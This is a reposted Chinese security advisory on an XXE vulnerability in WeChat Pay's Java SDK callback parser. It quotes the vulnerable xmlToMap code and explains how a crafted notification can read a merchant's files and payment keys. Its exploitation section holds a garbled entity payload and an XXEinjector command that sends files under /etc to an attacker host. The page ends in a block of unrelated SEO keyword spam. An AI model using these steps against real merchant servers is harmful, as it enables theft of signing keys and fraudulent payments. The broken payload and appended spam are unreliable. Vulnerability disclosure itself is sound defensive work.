千家信息网

微信支付SDK存在XXE漏洞

发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,微信支付SDK存在XXE漏洞漏洞信息来源:http://seclists.org/fulldisclosure/2018/Jul/3https://xz.aliyun.com/t/24260x00受影
千家信息网最后更新 2026年11月01日微信支付SDK存在XXE漏洞

微信支付SDK存在XXE漏洞

漏洞信息来源:
http://seclists.org/fulldisclosure/2018/Jul/3
https://xz.aliyun.com/t/2426

0x00受影响版本:

JAVA SDK,WxPayAPI_JAVA_v3,建议使用了该版本的公司进行异常支付排查。
微信在JAVA版本的SDK中提供callback回调功能,用来帮助商家接收异步付款结果,该接口接受XML格式的数据,×××者可以构造恶意的回调数据(XML格式)来窃取商家服务器上的任何信息。一旦×××者获得了关键支付的安全密钥(md5-key和商家信息,将可以直接实现0元支付购买任何商品)

0x01漏洞详情

The SDK  in this page:  https://pay.weixin.qq.com/wiki/doc/api/jsapi.phpchapter=11_1   Just in java vision:https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip    orhttps://drive.google.com/file/d/1AoxfkxD7Kokl0uqILaqTnGAXSUR1o6ud/view(Backup )   README.md in  WxPayApi_JAVA_v3.zip,it show more details:   notify code example:    [        String notifyData = "....";        MyConfig config = new MyConfig();        WXPay wxpay = new WXPay(config);//conver to map        Map notifyMap = WXPayUtil.xmlToMap(notifyData);        if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {//do business logic        }        else {         }     ]    WXPayUtil source code   [  public static Map xmlToMap(String strXML) throwsException {    try {            Map data = new HashMap();            /*** not disabled xxe *****/            //start parse            DocumentBuilderFactory documentBuilderFactory =DocumentBuilderFactory.newInstance();            DocumentBuilder documentBuilder =documentBuilderFactory.newDocumentBuilder();            InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));            org.w3c.dom.Document doc = documentBuilder.parse(stream);           //end parse            doc.getDocumentElement().normalize();            NodeList nodeList = doc.getDocumentElement().getChildNodes();            for (int idx = 0; idx < nodeList.getLength(); ++idx) {                Node node = nodeList.item(idx);                if (node.getNodeType() == Node.ELEMENT_NODE) {                    org.w3c.dom.Element element = (org.w3c.dom.Element) node;                    data.put(element.getNodeName(), element.getTextContent());                }            }            try {                stream.close();            } catch (Exception ex) {                // do nothing            }            return data;        } catch (Exception ex) {            WXPayUtil.getLogger().warn("Invalid XML, can not convert tomap. Error message: {}. XML content: {}", ex.getMessage(), strXML);            throw ex;        }    }]

0x02利用细节

Post merchant notification url with payload:
找到商家的notify

    %xxe;]>data.dtd:">%shell;%upload;or use  XXEinjector tool  【https://github.com/enjoiz/XXEinjector】ruby XXEinjector.rb --host=attacker --path=/etc   --file=req.txt --sslreq.txt :POST merchant_notification_url HTTP/1.1Host:  merchant_notification_url_hostUser-Agent: curl/7.43.0Accept: */*Content-Length: 57Content-Type: application/x-www-form-urlencodedXXEINJECT
支付 商家 漏洞 信息 版本 数据 格式 安全 公司 关键 功能 商品 密钥 建议 得了 恶意 接口 服务器 来源 细节 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 深圳九邦互联网科技有限公司 河南云网互联网络科技有限公司 为想互联网科技怎么样 科技金融是不是互联网金融 智能科技公司是互联网公司吗 互联网络科技有限公司 礼当家互联网科技 小马过河互联网科技 广州互联网络科技有限公司 互联网养老 桔豆科技 互联网之后的科技是什么 须眉科技是互联网公司吗 受益于互联网科技的高速发展 赶超互联网科技 微信多开 互联网媒体平台算高科技产业 民营互联网公司国防科技 特约风豹互联网科技为什么扣费 互联网硬科技公司 江苏互联网智能科技产品出厂价 安徽零酒互联网科技有限公司 互联网科技公司简介 互联网金融与金融科技 碳银互联网科技 西安互联网科技公司 互联网科技论坛 青海省互联网新科技 天津腾达互联网科技有限公司 中国互联网公司排名锤子科技 易企秀互联网科技是做什么的 绵阳真晨互联网科技有限公司
0